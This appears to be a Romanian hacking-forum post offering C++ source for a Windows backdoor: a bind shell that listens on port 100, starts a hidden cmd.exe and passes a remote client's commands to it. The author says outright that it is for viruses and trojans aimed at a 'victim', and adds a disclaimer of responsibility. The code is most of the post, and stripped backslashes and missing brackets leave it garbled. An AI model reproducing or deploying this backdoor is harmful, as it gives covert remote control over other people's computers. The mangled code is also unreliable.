Administrator

Data inscrierii: 18/Aug/2007
Mesaje: 35
|
|
Sa zicem va vreti sa faceti un virustroianbackdoor, si prin multitudinea de comenzi pe care la ve executa veti dori sa aveti acces si la consola victimei. In cele ce urmeaza va voi pune la dispozitie un mic cod care va face acest lucru. Am combinat codul de shell cu unul de server, a.i. sa ruleze ca server si sa va conectati si sa-l testati, pentru ca daca va dadeam doar codul de shell nu il puteati folosi asa aiurea.
Deci pentru client recomand ceva putty sau raw client care lam postat intr-alta sectiune. Pentru ca nu am întrebuințat CreateThread(), se va misca cam greu, adica veti da comanda , va astepta 850 ms si apoi va scrie comanda in cmd.exe. Codul propriu-zis de shell va incepe dupa conditia de acceptare conexiuni: "theSck = accept(listen_sock, NULL, NULL);"
Sa va explic functionarea.. dupa compilare si executare, va cere directorul de sistem, si afla deci path-ul lui cmd.exe, dupa care va rula ca server si va astepta conexiuni, cand va exista un client conectat va starta cmd.exe in mod ascuns si va astepta comenzi de la client pe care le va scrie in cmd, apoi va citi consola si va trimite clientului, cam ata ete. Are totusi niste buguri greu de rezolvat, nu se poate folosi ftp.exe, sc.exe, dar nu conteaza daca sunteti destepti stiti ca alta sectiune v-am pus la dispozitie ft.exe (client ftp command line).
Codul nu are erori de compilare, doar ceva avertizari, dar daca il vezi compila cu altceva decat MVS2005, va necesită sa va modificati functiile in functie de compilator.
SI MARE ATENTIE!!
>> NU MA FAC RESPONSABIL DE FAPTELE VOASTRE CU PRIVIRE LA ACEST COD.
=================
/***********************************************
Aceasta sursa trebuie compilata cu
Microsoft Visual Studio. In caz ca
veti compila cu altceva stergeti
directiva de preprocesor cu link
catre ws2_32.lib si strcat_s
redenumiti-l strcat.
Dupa compilare rezulta un program
care ruleaza ca server pe portul
100 si cand exista un client co-
nectat va da Shell la CMD.EXE
Se poate folosi cu succes intr-un
cod de virus. Are ceva bug-uri, dar
se pot rezolva. Pt ca nu am utilizat
CreateThread(), serverul este cam
lenes la receptionat/trimis din cauza
lui Sleep(850). Se poate modifica.
By Win32 IAN-2007
***********************************************/
#include <iostream>
#include <stdio.h>
#include <winsock.h>
#include <windows.h>
#include <stdlib.h>
#pragma comment(lib, "ws2_32"
using namespace std;
#define addr "\cmd.exe"
int main()
{ char CMD[260];
GetSystemDirectory(CMD, sizeof(CMD));//Aici afla directorul de sistem. Va fi ceva de genul: "C:windowssystem32"
strcat_s(CMD, addr);//strcat_s uneste cele doua siruri si rezulta: "C:Windowssystem32cmd.exe"
WSADATA wsdt;
if(WSAStartup(MAKEWORD(1,1), &wsdt) != 0){WSACleanup();exit(0);}
SOCKET listen_sock;//socketul de ascultare.
SOCKET theSck;//socketul de acceptare conexiune.
listen_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct sockaddr_in local_server;
local_server.sin_family = AF_INET;
local_server.sin_addr.s_addr = INADDR_ANY;
local_server.sin_port = htons(100);//Serverul va asculta pe portul 100
if(bind(listen_sock, (struct sockaddr*)&local_server, sizeof(struct sockaddr)) == SOCKET_ERROR){closesocket(listen_sock);WSACleanup();exit(0);}
if(listen(listen_sock, 2) == SOCKET_ERROR) {closesocket(listen_sock);WSACleanup();exit(0);}
while(1)
{ theSck = accept(listen_sock, NULL, NULL);
HANDLE stdinRd, stdinWr, stdoutRd, stdoutWr;
SECURITY_ATTRIBUTES sa = {sizeof(SECURITY_ATTRIBUTES), NULL, TRUE};
STARTUPINFO si;
PROCESS_INFORMATION pi;
DWORD stuff;
char buff[8000], recvBuff[260];
BOOL firstsend;
int offset = 0, bRecv;
if(send(theSck,"*========================================rnCopyright (C) 2006-2007 Win32 Corporationrn*========================================rnrn", sizeof("*========================================rnCopyright (C) 2006-2007 Win32 Corporationrn*========================================rnrn", 0) == SOCKET_ERROR) goto closeSck;
if(!CreatePipe(&stdinRd, &stdinWr, &sa, 0) || !CreatePipe(&stdoutRd, &stdoutWr, &sa, 0)) {
send(theSck, "Eroare la CreatePipe().rn", 25, 0);
goto closeSck;
}
GetStartupInfo(&si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.lpReserved = NULL;
si.lpTitle = NULL;
si.lpDesktop = NULL;
si.dwX = si.dwY = si.dwXSize = si.dwYSize = 0L;
si.lpReserved2 = NULL;
si.cbReserved2 = 0;
si.wShowWindow = SW_HIDE;
si.hStdOutput = stdoutWr;
si.hStdError = stdoutWr;
si.hStdInput = stdinRd;
DuplicateHandle(GetCurrentProcess(), stdoutWr, GetCurrentProcess(), &si.hStdError, DUPLICATE_SAME_ACCESS, TRUE, 0);
CreateProcess(CMD, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
while(1) {
//Aici va incepe citirea consolei si trimiterea datelor prin socket.
Sleep(850);
GetExitCodeProcess(pi.hProcess, &stuff);
if(stuff != STILL_ACTIVE) break;
PeekNamedPipe(stdoutRd, NULL, 0, NULL, &stuff, NULL);
if(stuff != 0) {
ZeroMemory(buff, sizeof(buff));
firstsend = TRUE;
do { ReadFile(stdoutRd, buff,8000, &stuff, NULL);
if(firstsend) { send(theSck, buff + offset, strlen(buff) - offset, 0); firstsend = FALSE; }
else send(theSck, buff, strlen(buff), 0);
printf(buff);
}
while(stuff == 8000);
}
//----------------------------------------------------------------
//Aici incepe receptia pe socket si scrierea datelor in consola cmd.exe
if(!strcmp(recvBuff, "rn") offset = 0;
bRecv = recv(theSck, recvBuff, 260, 0);
if( (bRecv == 0) || (bRecv == SOCKET_ERROR) ) break;
recvBuff[bRecv] = '';
WriteFile(stdinWr, recvBuff, strlen(recvBuff), &stuff, NULL);
printf(recvBuff);
offset = offset + bRecv;
//----------------------------------------------------------------
}
closeSck:
TerminateProcess(pi.hProcess, 0);
CloseHandle(stdinRd);
CloseHandle(stdinWr);
CloseHandle(stdoutRd);
CloseHandle(stdoutWr);
closesocket(theSck);
}
return 0;
}
====================
SI MARE ATENTIE!!
>> NU MA FAC RESPONSABIL DE FAPTELE VOASTRE CU PRIVIRE LA ACEST COD. << |
|
|